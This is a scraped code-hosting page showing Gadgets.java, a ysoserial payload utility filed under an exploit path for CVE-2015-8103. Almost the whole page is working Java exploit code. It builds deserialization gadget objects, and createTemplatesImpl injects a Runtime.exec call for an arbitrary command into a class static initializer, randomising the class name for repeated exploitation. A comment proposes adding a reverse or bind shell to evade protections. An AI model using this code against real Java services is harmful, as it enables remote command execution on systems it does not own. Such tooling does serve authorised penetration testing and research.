Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2015-8103/payloads/util/Gadgets.java
Views: 11789
package ysoserial.payloads.util;12import java.io.Serializable;3import java.lang.reflect.Array;4import java.lang.reflect.InvocationHandler;5import java.lang.reflect.Proxy;6import java.util.HashMap;7import java.util.Map;89import javassist.ClassClassPath;10import javassist.ClassPool;11import javassist.CtClass;1213import com.sun.org.apache.xalan.internal.xsltc.DOM;14import com.sun.org.apache.xalan.internal.xsltc.TransletException;15import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;16import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;17import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;18import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;19import com.sun.org.apache.xml.internal.serializer.SerializationHandler;2021/*22* utility generator functions for common jdk-only gadgets23*/24@SuppressWarnings("restriction")25public class Gadgets {26private static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";2728public static class StubTransletPayload extends AbstractTranslet implements Serializable {29private static final long serialVersionUID = -5971610431559700674L;3031public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}3233@Override34public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}35}3637// required to make TemplatesImpl happy38public static class Foo implements Serializable {39private static final long serialVersionUID = 8207363842866235160L;40}4142public static <T> T createMemoitizedProxy(final Map<String,Object> map, final Class<T> iface,43final Class<?> ... ifaces) throws Exception {44return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);45}4647public static InvocationHandler createMemoizedInvocationHandler(final Map<String, Object> map) throws Exception {48return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);49}5051public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?> ... ifaces) {52final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);53allIfaces[0] = iface;54if (ifaces.length > 0) {55System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);56}57return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces , ih));58}5960public static Map<String,Object> createMap(final String key, final Object val) {61final Map<String,Object> map = new HashMap<String, Object>();62map.put(key,val);63return map;64}6566public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {67final TemplatesImpl templates = new TemplatesImpl();6869// use template gadget class70ClassPool pool = ClassPool.getDefault();71pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));72final CtClass clazz = pool.get(StubTransletPayload.class.getName());73// run command in static initializer74// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections75clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");");76// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)77clazz.setName("ysoserial.Pwner" + System.nanoTime());7879final byte[] classBytes = clazz.toBytecode();8081// inject class bytes into instance82Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {83classBytes,84ClassFiles.classAsBytes(Foo.class)});8586// required to make TemplatesImpl happy87Reflections.setFieldValue(templates, "_name", "Pwnr");88Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());89return templates;90}91}929394